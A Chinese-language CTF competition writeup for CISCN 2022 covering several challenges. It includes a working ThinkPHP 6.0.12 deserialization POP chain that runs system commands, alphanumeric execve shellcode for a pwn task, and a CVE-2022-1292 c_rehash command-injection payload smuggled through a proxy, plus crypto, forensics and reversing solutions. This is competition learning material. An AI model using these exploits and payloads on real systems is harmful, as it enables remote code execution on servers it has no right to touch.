CISCN 2022 初赛 Writeup

战队:武汉大学 H0o
排名: 102
解题情况:

image-20241110172020111

解题过程

签到电台

查标准密码表,做模十加法,2020336184802628376067505180,修改url直接提交 http get 请求

flag{023818b0-4b1f-4031-8733-8a2dca00ad8b}

Ezpop

访问/www.zip得到网站后端源码,在源码app/controller/Index.php中发现反序列化点

image-20241110171123483

构造thinkphp v6.0.12的反序列化pop

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

然后在/index.php/Index/test中使用POST参数a实现反序列化得到flag

image-20241110171137384

基于挑战码的双向认证123

flag1 = flag{bf33b842-d98d-4a0e-9d18-369596508cac}
flag2 = flag{34f5fdaf-c373-47fd-afab-01ed2914c11a}
flag3 = flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}

参考服务端代码进行程序填空,填入如下代码中 add your code here!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int proc_login_response(void * sub_proc,void * recv_msg)
{
int ret;
RECORD(USER_DEFINE,CLIENT_STATE) * client_state;
RECORD(USER_DEFINE,LOGIN) * login_info;
RECORD(USER_DEFINE,RETURN) * return_info;
void * new_msg;

// get the store data in first step
client_state = proc_share_data_getpointer();
if(client_state==NULL)
return -EINVAL;

// get server return login data and copy nonce B
ret=message_get_record(recv_msg,&login_info,0);
if(ret<0)
return ret;
Memcpy(client_state->nonceB,login_info->nonce,DIGEST_SIZE);

// compute Mb‘ value

// add your code here!
Memset(Buf, 0, DIGEST_SIZE * 4);
Strncpy(Buf, client_state->key, DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE, client_state->nonceA, DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE * 2, client_state->nonceB, DIGEST_SIZE);

calculate_context_sm3(Buf,DIGEST_SIZE * 3, Buf + DIGEST_SIZE * 3);

// compare Mb and Mb'
if( Memcmp(Buf+DIGEST_SIZE*3,login_info->passwd,DIGEST_SIZE) != 0)
{
// server verify failed, build a server verify failed message
client_state->curr_state=ERROR;
proc_share_data_setpointer(client_state);

return_info=Talloc0(sizeof(*return_info));
if(return_info==NULL)
return -ENOMEM;
return_info->return_code=SERVERERR;
return_info->return_info=dup_str("server verify failed!\n",0);

new_msg=message_create(TYPE_PAIR(USER_DEFINE,RETURN),recv_msg);
if(new_msg==NULL)
return -EINVAL;
ret=message_add_record(new_msg,return_info);
if(ret<0)
return ret;

ret=ex_module_sendmsg(sub_proc,new_msg);

return ret;
}

// server verify succeed, now prepare to compute the response data


// reponse phrase: compute the Ma value start

// add your code here!
Memset(Buf, 0, DIGEST_SIZE * 3);
Strncpy(Buf, client_state->key, DIGEST_SIZE);
Memcpy(Buf + DIGEST_SIZE, client_state->nonceB, DIGEST_SIZE);

calculate_context_sm3(Buf, DIGEST_SIZE * 2, login_info->passwd);

// compute Ma value end
Memset(login_info->nonce,0,DIGEST_SIZE);

// compute the response data end
// add the login info in message and send it

new_msg=message_create(TYPE_PAIR(USER_DEFINE,LOGIN),NULL);
if(new_msg==NULL)
return -EINVAL;
ret=message_add_record(new_msg,login_info);
if(ret<0)
return ret;
ret=ex_module_sendmsg(sub_proc,new_msg);

// challenge client_state value and store it
if(ret >=0)
client_state->curr_state=RESPONSE;
proc_share_data_setpointer(client_state);
return ret;
}

ez_usb

先看 descriptor response,发现有两个键盘(Apple和Logitech)连上了,设备号是 2.82.10

先用tshark将hid的 data 导出:

1
2
tshark  -r ez_usb.pcapng -Y "usb.src == \"2.8.1\"" -T fields -e usbhid.data > usb.txt
tshark -r ez_usb.pcapng -Y "usb.src == \"2.10.1\"" -T fields -e usbhid.data > keyboard2.txt

分别使用脚本截取两个键盘的输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"}
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('keyboard2.txt')
for line in keys:
try:
if line[1]!='0' and line[1]!='2':
continue
# print(line[4:6])
if line[4:6] in normalKeys.keys():
output += [[normalKeys[line[4:6]]],[shiftKeys[line[4:6]]]][line[1]=='2']
# else:
# output += ['[unknown]']
except:
pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass

for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass

print ('output :' + "".join(output))

发现一个输入经过hex解码后有rar文件头,打开发现有flag,但rar有密码,另外一个输入就是rar的密码。

flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}

login-nomal

image-20241110171152028

主函数循环读入数据并交给work执行

image-20241110171201601

work中对输入的数据进行检查,存在两种指令:

  1. opt:{1,2,3} 命令
  2. msg:xxx 数据

总共有三个命令:都要求msg为可见字符

在一次work工作中,至多出现一次opt,并且work将循环处理至多5条指令(不符合指令格式的将报error)。

所以,为了方便,在主循环中,我们一次work只处理一条指令

image-20241110171210317

op1相当于一个开启函数,将flag1flag2设置为1op2op3需要使用)

image-20241110171219123

op3则不需要关注,其相当于还原状态

image-20241110171229478

可以让我们getshell的是op2,在op2mmap了一个新的页,然后把msg复制到对应内存区域中并执行

现在考虑生成纯可见字符的shellcode

这里使用了工具 AE64 辅助转换shellcode

1
2
3
4
5
6
7
8
from ae64 import AE64
from pwn import *
context.arch = 'amd64'

shellcode = asm(shellcraft.sh())

enc_shellcode = AE64().encode(shellcode, 'rdx', 0, 'fast')
print(enc_shellcode.decode('latin-1'))

然后组装最后的输入指令

1
2
3
4
5
6
7
8
opt:1
msg: ro0t

opt:2
msg: RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP

cat /flag

需要注意的是,按照上文所说,我们的一组work即,一个optmsg的组合需要凑满0x3FF字符,在work中,会自动删除:后面的空格,所以在msg:后面补充padding,同时需要注意的是,在:后面部分截断存在问题,会吞掉最后一个字符替换为\0,所以需要多补充一个空格占位

image-20241110171249388

baby_tree

flag{30831242-56db-45b4-96fd-1f47e60da99d}

阅读 AST,得到以下核心代码

1
2
3
4
5
6
7
8
9
b = [ord(x) for x in "flag{30831242-56db-45b4-96fd-1f47e60da99d}"]
k = [ord(x) for x in "345y"]
for i in range(len(b) - 3):
r0, r1, r2, r3 = b[i : i + 4]
b[i + 0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
b[i + 1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
b[i + 2] = r0 ^ k[2]
b[i + 3] = r1 ^ k[3]
k = k[1], k[2], k[3], k[0]

将其操作反向,得到

1
2
3
4
5
6
7
8
9
10
11
12
b = [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64,
91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41,
205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16]
k = [ord(x) for x in "5y34"]
for i in range(len(b) - 4, -1, -1):
r0 = b[i + 2] ^ k[2]
r1 = b[i + 3] ^ k[3]
r2 = b[i + 0] ^ ((k[0] + (r0 >> 4)) & 0xff)
r3 = b[i + 1] ^ ((k[1] + (r1 >> 2)) & 0xff)
b[i : i + 4] = r0, r1, r2, r3
k = k[3], k[0], k[1], k[2]
print(bytes(b).decode())

ISO9798

首先写个PoW

1
2
3
4
5
6
7
8
9
10
11
12
13
from hashlib import sha256

str = 'ptAfImqgJufAMPWm'

for i in range(ord('A'), ord('z')):
for j in range(ord('A'), ord('z')):
for k in range(ord('A'), ord('z')):
for l in range(ord('A'), ord('z')):
curr_string = chr(i) + chr(j) + chr(k) + chr(l) + str
curr_hash = sha256(curr_string.encode()).hexdigest()
# print(curr_hash)
if (curr_hash == '77e9435a362a4cef915ab13b64ab0570206f8416dc592a83298440f3e0785620'):
print(chr(i) + chr(j) + chr(k) + chr(l))

题目没有给出具体的算法,但加密算法输入了3个 128bit 的明文,输出了 128*3bit的密文,猜测是逐字节或逐 128bit 的加密方法,将输出的密文的rArB部分倒一下即可;

1
2
3
4
5
6
7
[Server]: Please send a 128-bit random number in hex.
> 1
[Server]: Your input is rB = 1.
[Server]: Encrypt(rA||rB||B, k) (in hex) is 98b8ef516ba89f34c20a85df20a20d31f0c7f6ab30b6ab47fd2d0ed38f53109af57f89d583855498fbed7e2430482fdc
[Server]: Please send Encrypt(rB||rA, k) in hex.
> f0c7f6ab30b6ab47fd2d0ed38f53109a98b8ef516ba89f34c20a85df20a20d31
[Server]: Yes, you're right. Your flag is flag{a0bba0fb-af8b-46ea-9bb0-ab458e4f29d9}

online_crt

阅读后端源码发现存在c_rehash命令调用

1
2
3
4
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)

查找发现CVE-2022-1292c_rehash相关,其中c_rehash中执行openssl的语句存在命令注入漏洞,变量$fname可被注入命令
image-20241110171309881

/createlink中执行的c_rehash static/crt/ && ls static/crt/是固定的,无法被注入,因此考虑修改目录static/crt/下的文件名,调用c_rehash命令时文件名就是变量$fname,从而实现命令注入

/proxy可以发送GET请求包访问服务器的8887端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

8887端口是gin搭建的web服务,其中/admin/rename能够修改/app/static/crt/目录中的文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

构造payload如下,其中空格用$IFS$9替代,/字符用base64编码实现,该payload将cat /flag的执行结果写入static/crt/4.crt文件中

1
2
3
4
5
6
7
8
9
/admin%2frename?oldname=7782ae9f-1ce5-4d9e-bf65-e7f389d5f484.crt&newname=1"||echo$IFS$9Y2F0IC9mbGFn|base64$IFS$9-d|sh>4.crt" HTTP/1.1
Host: admin
User-Agent: admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close



将payload经过url编码后,构造发送给/proxy的请求包,实现static/crt目录下7782ae9f-1ce5-4d9e-bf65-e7f389d5f484.crt文件名的更改
image-20241110171320839

再访问/createlink执行c_rehash命令,得到static/crt/4.crt文件
下载static/crt/4.crt文件得到flag